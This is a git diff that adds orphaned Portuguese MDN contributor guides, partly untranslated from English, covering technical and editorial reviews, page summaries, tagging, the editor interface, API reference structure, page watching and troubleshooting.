+ +

Este artigo descreve como realizar uma revisão técnica, ajudando a garantir que o conteúdo da MDN seja preciso.

+ +
+
O que é uma tarefa?
+
Rever e corrigir os artigos para uma perfeição e exatidão técnica.
+
+

 

+ Onde é que esta precisa de ser efetuada?
+
Nos artigos específicos que são marcados como 'necessária uma revisão técnica' (em inglês).
+
O que precisa de saber para realizar a tarefa?
+
+
    +
  • +

    Conhecimento especializado do tópico do artigo que está a rever. Se ao ler o artigo não lhe ensina algo significativamente novo, considere-se um especialista.

    +
  • +
  • Como editar um artigo da wiki na MDN.
  • +
+
+
Quais são os passos a seguir?
+
+
    +
  1. Escolha um artigo para rever: +
      +
    1. Vá para lista das páginas que precisam de revisões técnicas. I +

       

      + sto lista todas as páginas para as quais uma revisão técnica foi solicitada.
    2. +
    3. Escolha uma página cujo tópico esteja familizarizado.
    4. +
    5. Clique na hiperligação do artigo para carregar a página.
    6. +
    +
  2. +
  3. Leia o artigo, tendo em atenção os detalhes técnicos: O artigo está correto? Tem alguma coisa em falta? Não hesite em mudar para uma página diferente se a primeira que escolheu não lhe é conveniente.
  4. +
  5. Se não existirem erros, não precisa de editar o artigo para o marcar como revisto. Veja na caixa "revisão rápida" na barra lateral esquerda da página. Esta caixa amarela lista quaisquer revisões pendentes e deixa-o limpar a bandeira do pedido da sua revisão. Parece-se com isto se foi solicitada uma revisão técnica:
    + Screenshot of the sidebar's box listing reviews that have been requested and allowing the flags to be changed.
  6. +
  7. Desselecione a caixa Técnico, e clique em Guardar.
  8. +
  9. Se encontrar erros que precisam de ser corrigidos, irá ficar feliz em saber que também pode alterar o estado da solicitação de revisão no editor. Aqui tem o fluxo de trabalho: +
      +
    1. Para editar a página, clique em Editar perto do topo da página; isto coloca-o no editor da MDN.
    2. +
    3. Corrigir qualquer informação técnica que não esteja correta, e/ou adicioanr qualquer informação importante que esteja em falta.
    4. +
    5. Inserir um 'Comentário da Revisão' no fim do artigo. Esta é uma breve mensagem que descreve o que fez, tal como 'Revisão técnica concluída'. Se corrigiu a informação, inclua isso no seu comentário, por exemplo, 'Revisão técnica e descrições dos parâmetros corrigidos'. Isto ajuda os outros colaboradores e editores de sites a saberem o que alterou e o porquê. Também pode mencionar se existiam partes específicas que não se sentia qualificado para rever.
    6. +
    7. Desselecionar a caixa Técnico sob Revisão necessária?.
    8. +
    9. Clique em PUBLICAR.
    10. +
    +
  10. +
+ +

Parabéns! Concluiu a sua primeira revisão técnica! Obrigado pela sua ajuda!

+
+
diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html new file mode 100644 index 0000000000..d2902a8bb6 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html @@ -0,0 +1,56 @@ +--- +title: Como efetuar uma revisão editorial +slug: MDN/Contribute/Howto/fazer_revisão_editorial +tags: + - Como + - Documentação + - Guía + - Metadados MDN + - Revisão Editorial +translation_of: MDN/Contribute/Howto/Do_an_editorial_review +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/pt-PT/docs/MDN")}}
+ +

As revisões editoriais consistem em corrigir erros de digitação, ortografia, gramática, utilização ou erros textuais num artigo. Não é preciso ser um especialistas em linguagem para efetuar contribuições úteis para a documentação técnica da MDN, mas os artigos continuam a precisar de edição de cópia e revisão de provas. Isto é efetuado numa revisão editorial.

+ +

Este artigo descreve como efetuar uma revisão editorial, que ajuda a assegurar que o conteúdo na MDN é preciso e bem escrito.

+ +
+
O que é a tarefa?
+
Copy-editing and proof-reading of articles that are marked as requiring an editorial review.
+
Onde é que esta tem de ser efetuada?
+
Within specific articles that are marked as requiring an editorial review.
+
O que precisa de saber para efetuar a tarefa?
+
You need to have good English grammar and spelling skills. An editorial review is about ensuring that the grammar, spelling, and wording are correct and make sense, and that the MDN writing style guide is followed.
+
Quais os passos a seguir?
+
+
    +
  1. Escolha um artigo para rever: +
      +
    1. Go to the list of articles needing editorial review. This lists all the pages for which an editorial review has been requested.
    2. +
    3. Click on the article link to load the page.
      + Nota: This listing is generated automatically but infrequently, so some articles appear on the list that no longer need editorial review. If the article you picked does not display a banner that says "This article needs an editorial review", skip that article and pick a different one.
    4. +
    +
  2. +
  3. Read the article, paying close attention for typos, spelling, grammar, or usage errors. Don't hesitate to switch to a different page if the first one you choose doesn't suit you.
  4. +
  5. If there are no errors, you don't need to edit the article to mark it as reviewed. Look for the "quick review" box in the left sidebar of the page:
    + Screenshot of the editorial review request sidebar box
  6. +
  7. Deselect the Editorial box and click Save.
  8. +
  9. If you find errors that need to be corrected: +
      +
    1. Click the Edit button near the top of the page; this brings you into the MDN editor.
    2. +
    3. Correct any typos and spelling, grammar, or usage errors you find. You don't have to fix everything to be useful, but be sure to leave the editorial review request in place if you don't feel reasonably sure that you've done a complete review of the entire article.
    4. +
    5. Enter a Revision Comment at the bottom of the article; something like 'Editorial review: fixed typos, grammar & spelling.' This lets other contributors and site editors know what you changed and why.
    6. +
    7. Deselect the Editorial box under Review Needed?. This is located just below the Revision Comment section of the page.
    8. +
    9. Click the Publish button.
    10. +
    +
  10. +
+ +
+

Depois de guardar, as suas alterações poderão não ser visíveis de imediato; existe um pequeno atraso enquanto a página é processada e guardada.

+
+
+
diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html new file mode 100644 index 0000000000..172aed7d5d --- /dev/null +++ b/files/pt-pt/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html @@ -0,0 +1,47 @@ +--- +title: Como definir o resumo para uma página +slug: MDN/Contribute/Howto/Como_definir_o_resumo_para_uma_pagina +tags: + - Como + - Guia(2) + - Metadados MDN +translation_of: MDN/Contribute/Howto/Set_the_summary_for_a_page +--- +
{{MDNSidebar}}

Pode definir-se o resumo de uma página no MDN para ser usada de várias maneiras, incluindo em resultados de motores de busca, noutras páginas MDN tais como páginas de destino de tópicos, e dicas ou sugestões de ajuda. Deverá ser um texto que faça sentido quer no contexto da página, quer quando aparece noutros contextos, sem que esteja disponível a totalidade do conteúdo.

+ +

Um resumo pode definido explicitamente em apenas uma página. Se não estiver explicitamente definido, então normalmente usam-se as primeiras linhas, o que nem sempre é o melhor para o objectivo pretendido.

+ +
+
O que é uma tarefa?
+
Identificar o texto de uma página que melhor poderia ser usado para ser o seu resumo, mesmo que apareça noutros contextos; esta tarefa poderá incluir editar o texto existente e/ou introduzir texto apropriado se necessário.
+
Onde é que esta precisa de ser feita?
+
Em páginas que não têm resumos ou têm um resumo menos bom.
+
O que precisa de saber para efectuar a tarefa?
+
Habilitação para usar o editor MDN; competência em português escrito; familiaridade suficiente com o tópico para escrever um bom resumo.
+
Quais os passos a seguir?
+
+
    +
  1. Escolher uma página para colocar um resumo: +
      +
    1. Na página Estado do documento por tópico, clique num tópico de que tenha algum conhecimento (por exemplo, HTML) da coluna Secções: 
      +
    2. +
    3. Na página de Estado do documento do tópico escolhido, clicar no cabeçalho Pages da tabela Summary.  Irá para um índice de todas as páginas da secção correspondente ao tópico escolhido; mostra os links das páginas na coluna esquerda, e as palavras-chave e resumos na coluna da direita:
      +
    4. +
    5. Escolher uma página que não tenha ou tenha um fraco resumo:
      +
    6. +
    7. Clicar no link para ir para essa página.
    8. +
    +
  2. +
  3. Clicar em  Edit para abrir a página no editor MDN.
  4. +
  5. Tentar encontrar uma frase ou duas que possam servir de resumo, mesmo fora de contexto. Se necessário, editar o conteúdo existente para criar ou modificar frases de modo a que estas se tornem um bom resumo.
  6. +
  7. Seleccionar o texto que irá ser usado como resumo.
  8. +
  9. Na ferramenta Estilos, da barra de ferramentas do editor, seleccionar SEO Summary. (Na página de código fonte, isto cria um elemento {{HTMLElement("span")}}  com  class="seoSummary" em volta do texto seleccionado.)
    +
  10. +
  11. Guardar as alterações com um comentário de revisão. O comentário é opcional, mas é encorajado pois torna mais fácil para os outros utilizadores o rastreio de alterações.
  12. +
+ +

 

+
+
+ +

 

diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html new file mode 100644 index 0000000000..e7c610347c --- /dev/null +++ b/files/pt-pt/orphaned/mdn/contribute/howto/tag_javascript_pages/index.html @@ -0,0 +1,75 @@ +--- +title: Como marcar páginas de JavaScript +slug: MDN/Contribute/Howto/Marcar_paginas_JavaScript +tags: + - Como + - Guia(2) + - JavaScript + - Metadados MDN +translation_of: MDN/Contribute/Howto/Tag_JavaScript_pages +--- +
{{MDNSidebar}}

A marcação consiste na adição de informação-metadados às páginas, e assim o conteúdo relacionado pode ser agrupado, por exemplo, na ferramenta de pesquisa.

+ +
+
Onde é que isso precisa ser feito?
+
Nas páginas relacionadas com JavaScript especificas sem marcações (tags)
+
O que precisa de saber para efetuar a tarefa?
+
Conhecimento de codificação JavaScript básico, tal como saber o que é um 'método' ou uma 'propriedade'.
+
Quais são os passos a efetuar?
+
+
    +
  1. Escolha uma das páginas na lista acima.
  2. +
  3. Clique na hiperligação do artigo para carregar a página.
  4. +
  5. Assim que a página esteja carregada, clique em "EDITAR" perto do seu topo; isto leva-o para o editor da MDN.
  6. +
  7. Deverá ser adicionada pelo menos uma etiqueta de JavaScript. Aqui tem algumas das etiquetas possíveis para adicionar:
  8. +
  9. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    EtiquetaQue páginas para a utilizar
    Methodmethods
    Propertyproperties
    prototypeprototypes
    Object type namemethods of an object; for example String.fromCharCode should have the tag String
    ECMAScript6 and Experimentalfeatures added in a new ECMAScript version
    Deprecateddeprecated features (whose use is discouraged but still supported)
    Obsoleteobsolete features (which are no longer supported in modern browsers)
    othersSee MDN tagging standards for other possible tags to apply
    +
  10. +
  11. Guarde com um comentário.
  12. +
  13. E concluiu!
  14. +
+
+
+ +

 

diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html new file mode 100644 index 0000000000..5751a2e391 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/contribute/howto/write_an_article_to_help_learn_about_the_web/index.html @@ -0,0 +1,114 @@ +--- +title: Como escrever um artigo para ajudar as pessoas a aprenderem sobre a Web +slug: >- + MDN/Contribute/Howto/Como_escrever_um_artigo_para_ajudar_as_pessoas_a_aprenderem_sobre_a_Web +tags: + - Aprender + - Como + - Guia(2) + - Metadados MDN +translation_of: MDN/Contribute/Howto/Write_an_article_to_help_learn_about_the_Web +--- +
{{MDNSidebar}}
+ +

A Área de Aprendizagem da MDN é o nosso local para os artigos que introduzem os conceitos da Web para os novos programadores. Porque o seu conteúdo, principalmente, tem como alvo os principiantes, é um local excelente para partilhar os seus conhecimentos e ajudar estes a conhecer a Web. É importante certificar-se que os novos programadores podem seguir este conteúdo, por isso nós damos especial atenção a este.

+ +

Este artigo explica sobre como escrever as páginas para a Área de Aprendizagem.

+ +

Como escrever um artigo da Área de Aprendizagem

+ +

To start contributing your knowledge, simply click the big green button, then follow the five steps below. If you're looking for ideas, please take a look at the our team Trello board!

+ +

Escrever um novo artigo de aprendizagem

+ +

This article might not end up in exactly the right place, but at least it's on MDN. If you need to talk to someone about getting it moved to the right place, please  Contact us.

+ +

Passo 1: Write a two-liner

+ +

Your article's first sentence needs to summarize what subject you're going to cover, and the second one should go into a few more specifics of the items that you'd put in the article. For example:

+ +
+

Whereas {{glossary("HTML")}} files contain structured content, {{Glossary("CSS")}}, another major Web technology, makes the content look the way you want. In this article we are going to cover how this technology works, and how to write your own basic example.

+
+ +

Note how the example briefly explains that CSS is a core Web technology used to style pages. That's enough for the reader to get a pretty good idea what the article covers.

+ +

Because Learning Area articles primarily target beginners, each article should cover one straightforward topic so as not to overwhelm the reader with too much new information. If you can't summarize the article in one sentence, you might be trying to do too much in one article!

+ +

Passo 2: Add a top box

+ +

Then add a top box to help readers get their bearings as to where they are in the learning process.  Here's an example of a top box from "Understanding URLs and their structure". You can use this article as an model when writing your own.

+ + + + + + + + + + + + +
Pré-requisitos:You need to first know how the Internet works, what a Web server is, and the concepts behind links on the web.
Objetivo:You will learn what a URL is and how it works on the Web.
+ +
+
Pré-requisitos
+
What must the reader already know to follow the article? When possible, make each prerequisite a link to another Learning Area article covering the concept (unless it's a really basic article that doesn't require prior knowledge).
+
Objetivos
+
This section briefly states what the reader will learn over the course of the article. This is a bit different than the one-liner; the one-liner summarizes the topic of the article, while the objectives section specifically lays out what the reader can expect to accomplish over the course of the article.
+
+ +
+

Nota: To create this table, you can either copy and paste the example table above, or use MDN's editor's table tool. If you choose to use the table tool, you need to specifically add the learn-box CSS class in addition to the default standard-table class. To do this, when you create or edit the table's properties,, go to the "Advanced" panel and set the Stylesheet Classes field to "standard-table learn-box".

+
+ +

Passo 3: Write a full description

+ +

Next, write a longer description that provides a more thorough overview of the article highlighting the most important concepts. Don't forget to explain why the reader should take the time to learn this topic and read your article!

+ +

Passo 4: Dig deeper

+ +

When you're done with all that, you can finally dive deeply into the topic. You can structure this part of your article however you like (although feel free to consult our style guide). This is your chance to shine! Go into detail explaining the topic you're writing about. Provide links to the full reference documentation, explain how the technology works in detail, provide syntax and usage details, and so forth. It's up to you!

+ +

As a guide, here are some writing tips for beginners:

+ + + +

Have a look at the first few sections of our Functions — reusable blocks of code article for some good descriptive sections.

+ +

Passo 5: Provide "active learning" material

+ +

To illustrate the article and help the reader better understand what they're learning, be sure to provide exercises, tutorials, and tasks to accomplish. By having them actively and practically using and experimenting with the concepts your article explains, you can help "lock" the information into their brains.

+ +

You can choose to include the examples directly in the page as live samples, or link to them if they don't really work as a live sample. If you're interested in helping create these valuable materials, please read the article Create an interactive exercise to help learning the Web.

+ +

If you can't provide links to existing active learning materials (you don't know of any or don't have time to create them), you should add the tag {{Tag("NeedsActiveLearning")}} to the article. That way other contributors can find articles that need active learning materials and perhaps help you come up with them.

+ +

Have a look at Active learning: selecting different elements for a live interactive learning exercise, or Active learning: Playing with scope for a different style of exercise that calls upon them to download a template locally and modify it following the provided steps.

+ +

Passo 6: Get the article reviewed, and put into the Learning Area navigation menu

+ +

After you've written your article, let us know so we can have a look at it, do a review, and suggest improvements. Again, see our Contact us section for the best ways to get in touch.

+ +

Another part finalizing your article is to put it in the Learning Area main navigation menu. This menu is generated by the LearnSidebar macro, which you need special privileges to edit, so again, talk ot one of our team about getting it added.

+ +

You should at least add it to your page — this is done by adding the macro call \{{LearnSidebar}} into a paragraph at the top of your page.

+ + + +

Artigos sugeridos

+ +

So you want to contribute but you're not sure what to write about?

+ +

The Learning Area team maintains a Trello board with ideas of articles to write. Feel free to pick one and get to work!

+ +

 

+ +

 

diff --git a/files/pt-pt/orphaned/mdn/editor/basics/index.html b/files/pt-pt/orphaned/mdn/editor/basics/index.html new file mode 100644 index 0000000000..78a0023b70 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/editor/basics/index.html @@ -0,0 +1,72 @@ +--- +title: Elementos da IU do Editor +slug: MDN/Editor/Basicos +tags: + - Documentação + - Guía + - MDN + - Metadados da MDN + - Principiante + - editor +translation_of: MDN/Editor/Basics +--- +
{{MDNSidebar}}
+ +

O editor WYSIWYG na MDN foi projetado para facilitar ao máximo a criação, edição e melhoramento de artigos e outras páginas em praticamente qualquer lugar do site. A janela do editor, mostrada abaixo, consiste em oito áreas principais. Este guia fornece informação sobre cada secção para que saiba como utilizar todo o nosso ambiente de edição.

+ +
+

We're constantly working on improvements to MDN, so there will be times when this documentation or the screen shots below may be slightly out-of-date. We'll periodically update this documentation, though, to avoid it being unusably behind.

+
+ +

Screenshot of the editor UI (August 2017) with each section labeled

+ +

The editor UI contains the following sections, as shown above. Click a link below to read about that section of the editor.

+ + + +

Caixa de edição

+ +

The edit box is, of course, where you actually do your writing.

+ +

Right-clicking in the editor box offers appropriate additional options depending on the context of your click: right-clicking in a table offers table-related options and right-clicking in a list offers list-related options, for example. By default, the editor uses its own contextual menu when you right-click on the editor. To access your browser's default contextual menu (such as to access the Firefox spell checker's list of suggested corrections), hold down the Shift or Control key (the Command key on Mac OS X) while clicking.

+ +

When working in the edit box, you can use its keyboard shortcuts.

+ +

Comentário da revisão

+ +

After you've made your changes, it's strongly recommended you add a comment to your revision. This is displayed in the revision history for the page, as well as on the Revision Dashboard. It helps to explain or justify your changes to others that may review your work later. To add a revision comment, simply type the note into the revision comment box before clicking either of the Publish buttons at the top or bottom of the page.

+ +

There are a few reasons this is helpful:

+ + + +

Pedidos de revisão

+ +

The MDN community uses reviews to try to monitor and improve the quality of MDN's content. This works by setting a flag on an article indicating that a review is needed. You can learn more about technical reviews and editorial review in the How to guides.

+ +

To request a review on the article you've worked on, toggle on the checkbox next to the type of review that's needed. Technical reviews should be requested any time you make changes to the explanation of how something technical works, while editorial reviews are a good idea when you've made changes and would like someone to review your writing and style choices.

+ +

While selecting a review checkbox adds the article to the lists of those needing technical review or needing editorial review, it does not guarantee that anyone will immediately review the article. For technical reviews, it's a good idea to directly contact a subject-matter expert in the relevant technical area. For editorial reviews, you can post in the MDN discussion forum to request that someone review your changes.

+ +

Be sure to click one of the Publish buttons after making your selections, to commit your review request.

+ +

Consulte também

+ + + + diff --git a/files/pt-pt/orphaned/mdn/editor/index.html b/files/pt-pt/orphaned/mdn/editor/index.html new file mode 100644 index 0000000000..a13dda6b6a --- /dev/null +++ b/files/pt-pt/orphaned/mdn/editor/index.html @@ -0,0 +1,20 @@ +--- +title: Guia para o editor da IU da MDN +slug: MDN/Editor +tags: + - Documentação + - Guía + - Landing + - MDN + - Metadados MDN +translation_of: MDN/Editor +--- +
{{MDNSidebar}}
+ +

O editor WYSIWYG (o que vê é o que obtém) para a wiki dos Documentos da Web da MDN torna fácil a contribuição para novo conteúdo. Este guia mostra-lhe como utilizar o editor e melhorar a sua produtividade. Por favor, leia e concorde com os Termos da Mozilla antes de editar ou criar novas páginas.

+ +

O guia de estilo de escrita da MDN oferece informação sobre como formatar e estilizar o próprio conteúdo, incluindo as nossas regras de gramática e ortografia preferidas.

+ +

{{LandingPageListSubpages}}

+ +

{{EditorGuideQuicklinks}}

diff --git a/files/pt-pt/orphaned/mdn/structures/api_references/index.html b/files/pt-pt/orphaned/mdn/structures/api_references/index.html new file mode 100644 index 0000000000..a7a7b21004 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/structures/api_references/index.html @@ -0,0 +1,58 @@ +--- +title: API references +slug: MDN/Structures/API_references +tags: + - API + - Contribute + - Guide + - NeedsTranslation + - Reference + - TopicStub +translation_of: MDN/Structures/API_references +--- +
{{MDNSidebar}}
{{IncludeSubnav("/en-US/docs/MDN")}}
+ +

Client-side JavaScript APIs form a large part of the technology available on the web, and MDN includes extensive reference material to explain what functionality is available in these APIs, and how to use it. In this set of guides we explain how to create API reference material on MDN.

+ +

Prerequisite resources

+ +

Before starting to document an API, you should have available:

+ +
    +
  1. The latest spec: Whether it is a W3C Recommendation or an early  editor's draft, you should refer to the latest available draft of the  spec that covers (or specs that cover) that API. To find it, you can usually do a Web search. The latest  version will often be linked to from all versions of the spec, listed under "latest draft" or similar.
  2. +
  3. The latest modern web browsers: These should be experimental/alpha builds such as Firefox Nightly/Chrome Canary that are more likely to support the features you are documenting. This is especially pertinent if you are documenting a nascent/experimental API.
  4. +
  5. Demos/blog posts/other info: Find as much info as you can. It is useful to start by spending time familiarizing yourself with how the API works — learn what the main interfaces/properties/methods are, what the primary use cases are, and how to write simple functionality with it.
  6. +
  7. Useful engineering contacts: It is really useful to find yourself a friendly engineering contact to ask questions about the spec, someone who is involved in the standardization of the API, or its implementation in a browser. Good places to find them are: +
      +
    • Your internal company address book, if you work for a relevant company.
    • +
    • A public mailing list that is involved in the discussion of that API,  such as Mozilla's dev-platform or dev-webapi lists, or a W3C list like public-webapps.
    • +
    • The spec itself. For example, the Web Audio API spec lists the authors and their contact details at the top.
    • +
    +
  8. +
+ +

High level structure

+ +
+
What does an API reference need?
+
This article explains what pages are required for a complete API reference.
+
Page types
+
There are a number of types of pages that are used repeatedly on MDN. This article describes these page types, their purpose, and gives examples of each and templates to use when creating a new page.
+
+ +

Individual page features

+ +

These articles explain how to create the individual page features required for API reference pages.

+ +
+
API reference sidebars
+
When including a sidebar on your MDN API reference articles, you are able to customize it so that it displays links to related Interfaces, tutorials, and other resources relevant just to that API. This article explains how.
+
Syntax sections
+
The syntax section of an MDN reference page contains a syntax box defining the exact syntax that a feature has (e.g. what parameters can it accept, which ones are optional?) This article explains how to write syntax boxes for refererence articles.
+
Code examples
+
On MDN, you'll see numerous code examples inserted throughout the pages to demonstrate usage of web platform features. This article discusses the different mechanisms available for adding code examples to pages, along with which ones you should use and when.
+
Specification tables
+
Every reference page on MDN should provide information about the specification or specifications in which that API or technology was defined. This article demonstrates what these tables look like and explains how to construct them.
+
Compatibility tables
+
MDN has a standard format for compatibility tables for our open web documentation; that is, documentation of technologies such as the DOM, HTML, CSS, JavaScript, SVG, and so forth, that are shared across all browsers. This article covers how to use our features to add compatibility data to MDN pages.
+
diff --git a/files/pt-pt/orphaned/mdn/structures/api_references/what_does_an_api_reference_need/index.html b/files/pt-pt/orphaned/mdn/structures/api_references/what_does_an_api_reference_need/index.html new file mode 100644 index 0000000000..986791e813 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/structures/api_references/what_does_an_api_reference_need/index.html @@ -0,0 +1,162 @@ +--- +title: O que é que uma referência de API precisa? +slug: MDN/Structures/API_references/O_que_e_que_uma_referencia_de_API_precisa +translation_of: MDN/Structures/API_references/What_does_an_API_reference_need +--- +
{{MDNSidebar}}

Este artigo explica quais as páginas que são necessárias para uma referência completa da API .

+ +
+

Nota: It is a good idea to create the list of documents you need to write or update when you are working on an API reference, then check them off as you complete them.

+
+ +

API pages at a glance

+ +

An API reference will generally contain the following pages. You can find more details of what each page contains, examples, and templates, in our Page types article.

+ +
    +
  1. Overview page
  2. +
  3. Interface pages
  4. +
  5. Constructor pages
  6. +
  7. Method pages
  8. +
  9. Property pages (including event handlers properties)
  10. +
  11. Event pages
  12. +
  13. Concept/guide pages
  14. +
  15. Examples
  16. +
+ +
+

Nota: We'll be referring to the Web Audio API for examples in this article.

+
+ +
+

Nota: To create a page as specified below, the easiest way is to go to the parent page you want it to hang off, and choose Cog icon > New sub-article. If you haven't got this option available on your MDN interface, you'll need to request this privilege (ask at mdn-admins@mozilla.org), or ask another MDN contributor to create them for you.

+
+ +

Página de sinopse

+ +

A single API overview page is used to describe the role of the API, its top-level interfaces, related features contained in other interfaces, and other high level details. Its name and slug should be the name of the API plus "API" on the end. It is placed at the top level of the API reference, as a child of https://developer.mozilla.org/en-US/docs/Web/API.

+ +

Example:

+ + + +

Páginas da interface

+ +

Each interface will have its own page too, describing the purpose of the interface, listing any members (constructors, methods, properties, etc. it contains), and showing what browsers it is compatible with. A page's name and slug should be the name of the interface, exactly as written in the spec. Each page is placed at the top level of the API reference, as a child of https://developer.mozilla.org/en-US/docs/Web/API.

+ +

Exemplos:

+ + + + + +
+

Nota: We document every member appearing in the interface. You should bear the following rules in mind:

+ + +
+ +

Páginas de constructor

+ +

Each interface has 0 or 1 constructors, documented on a subpage of the interface's page. It describes the purpose of the constructor and shows what its syntax looks like, usage examples, browser compatibility information, etc. Its slug is the name of the constructor, which is exactly the same as the interface name, and the title is interface name, dot, constructor name, then parentheses on the end.

+ +

Example:

+ + + +

Páginas de propriedade

+ +

Each interface has zero or more properties, documented on subpages of the interface's page. each page describes the purpose of the property and shows what its syntax looks like, usage examples, browser compatibility information, etc. Its slug is the name of the property, and the title is interface name, dot, then property name.

+ +

Examples:

+ + + + + +
+

Nota: Event handler properties are treated in the same way as regular properties; they are generally listed in a separate section on the interface page though.

+
+ + + +

Páginas de método

+ +

Each interface has zero or more methods, documented on subpages of the interface's page. each page describes the purpose of the method and shows what its syntax looks like, usage examples, browser compatibility information, etc. Its slug is the name of the method, and the title is interface name, dot, method name, then parentheses.

+ +

Examples:

+ + + + + +

Páginas de evento

+ +

Each event handler property you create will have a corresponding event page, describing the event that causes the handler to fire, documented on a subpage of https://developer.mozilla.org/en-US/docs/Web/Events. Each page describes the purpose of the event and shows what its syntax looks like, usage examples, browser compatibility information, etc. Its slug and title is the name of the event.

+ +

Example:

+ + + +

Páginas de conceito/guia

+ +

Most API references have at least one guide and sometimes also a concept page to accompany it. At minimum, an API reference should contain a guide called "Using the name-of-api", which will provide a basic guide to how to use the API. More complex APIs may require multiple usage guides to explain how to use different aspects of the API.

+ +

If required, you can also including a concepts article called "name-of-api concepts", which will provide explanation of the theory behind any concepts related to the API that developers should understand to effectively use it.

+ +

These articles should all be created as subpages of the API overview page. For example, the Web Audio has four guides and a concept article:

+ + + +

Exemplos

+ +

You should create some examples that demonstrate at least the most common use cases of the API. You can put these anywhere that is appropriate, although the recommended place is the MDN GitHub repo.

diff --git a/files/pt-pt/orphaned/mdn/tools/page_watching/index.html b/files/pt-pt/orphaned/mdn/tools/page_watching/index.html new file mode 100644 index 0000000000..b7f9de52b0 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/tools/page_watching/index.html @@ -0,0 +1,49 @@ +--- +title: Subscrição de página +slug: MDN/Tools/Vigiar_pagina +tags: + - Ferramentas + - Guia(2) + - Metadados MDN + - Nível de Página +translation_of: MDN/Tools/Page_watching +--- +
{{MDNSidebar}}
+ +

A great way to stay involved with content on MDN that you care about is to subscribe to pages, so that you're notified via email when the pages get changed. Every page on MDN offers a button offering options to monitor the page (and optionally its subpages) for changes. To access these options, hover over the Watch button to disclose the Watch menu, which looks like this:

+ +

Screenshot of MDN's Watch menu

+ +

Then choose the option specifying whether to watch only that one page or that page and its sub-pages, as described in the following sections.

+ +

Subscrever uma página

+ +

To subscribe to a single page, simply hover the mouse cursor over the Watch menu to display the Watch menu as described above, then select the first option, "Subscribe to Page Title". Once you've done this, each time a user makes a change to that one page, you'll get email describing the change.

+ +

Vigiar várias páginas

+ +

Choosing the second option in the Watch menu, "Subscribe to Page Title and all its sub-articles", will register you to receive email for each change made to that page as well as all of its sub-pages. This includes sub-pages added after you requested the subscription, so if more sub-pages are created in the future, you'll get notifications for those as well.

+ +

Cancelar a subscriçção de uma página

+ +

If you eventually need to unsubscribe from, or stop watching, a page, open the Watch menu again, and see that the "Subscribe" link has changed to "Unsubscribe." Click that, and you're unsubscribed!

+ +

Mensagens de alteração de página

+ +

Each time a change is saved to the page, you'll get an email. These emails come from notifications@developer.mozilla.org and are sent to the email address you used when registering your MDN account. Each message has a title of the form:

+ +
[MDN] Page "Page title" changed by username
+ +

The message starts with a repeat of the information in the title, then presents a standard diff of the content, showing exactly what changed. The changes are shown as HTML source code, which can be a little weird to read if you're not used to it in the context of MDN.

+ +

After the diff itself comes a list of useful links that you can use to act on the change in some way, including:

+ + + +

At the end of the email you see text telling you what subscription generated the email, such as "You are subscribed to edits on: HTML element reference and all its sub-articles", as well as a link you can click to unsubscribe from the messages for this watch request.

diff --git a/files/pt-pt/orphaned/mdn/tools/template_editing/index.html b/files/pt-pt/orphaned/mdn/tools/template_editing/index.html new file mode 100644 index 0000000000..aa1f90ba40 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/tools/template_editing/index.html @@ -0,0 +1,12 @@ +--- +title: Edição de modelo +slug: MDN/Tools/Edição_de_modelo +tags: + - Ferramentas + - Guía + - Metadados MDN +translation_of: MDN/Tools/Template_editing +--- +
{{MDNSidebar}}

Na MDN, os modelos esccritos em KumaScript são utilziados por uma geração de conteúdo automatizado e personalização dentro das páginas. Cada modelo é um ficheiro separado sob a diretoria de macros do repositório de KumaScript no GitHub.

+ +

Qualquer pessoa que edite páginas da wiki da MDN podem invocar modelos via macros nos artigos da MDN.Qualquer pessoa pode criar e editar modelos via repositório de KumaScript no GitHub, utilizando práticas de código aberto padrão (fork repositório, criar um ramo, efetuar alterações, e submeter um pedido de submissão para revisão). Note que enviar um pedido de submissão é atualmente a única maneira para atualizar as strings traduzidas nos modelos que as contêm .

diff --git a/files/pt-pt/orphaned/mdn/troubleshooting/index.html b/files/pt-pt/orphaned/mdn/troubleshooting/index.html new file mode 100644 index 0000000000..4282a39570 --- /dev/null +++ b/files/pt-pt/orphaned/mdn/troubleshooting/index.html @@ -0,0 +1,71 @@ +--- +title: Resolução de Problemas +slug: MDN/Troubleshooting +tags: + - resolução de problemas +translation_of: MDN/Troubleshooting +--- +
{{MDNSidebar}}

Este artigo descreve problemas comuns que podem ocorrer durante a utilização da MDN, e como os resolver.

+ +

Não consegue guardar uma página

+ +
+
Sintoma
+
You try to save some change that you have made, and you get an error message indicating that your change couldn't be saved.
+
Causa
+
Your change has been caught in MDN's spam trap.
+
Solução
+
Save a copy of your revision, and send an email to the MDN site administrators, as instructed in the error message. One of the admins will verify that it is, in fact, a legitimate change, then train the spam filter not to block edits like yours, and add you to a whitelist so that you don't encounter this problem in the future.
+
+ +

As suas alterações não aparecem na página

+ +
+
Sintoma
+
You make some changes to an article and click Publish; the changes that you just made are not reflected in the normal view of the page.
+
Causa
+
The page content is cached on the server, and has not been refreshed since the page was changed.
+
Solução
+
Force a refresh of the page in your browser (for example, Shift+Reload). You might see the updated content, or you might see a message indicating that an update to the page is being processed. In the second case, wait a few minutes and refresh the page again.
+
+ +

Macro-generated content is out of date

+ +
+
Sintoma
+
You see a page that contains content generated by a macro. You know that this macro has been updated and put into production, but the page is showing outdated values.
+
Causa
+
The macro output is cached, and has not been refreshed since the macro was updated.
+
Solução
+
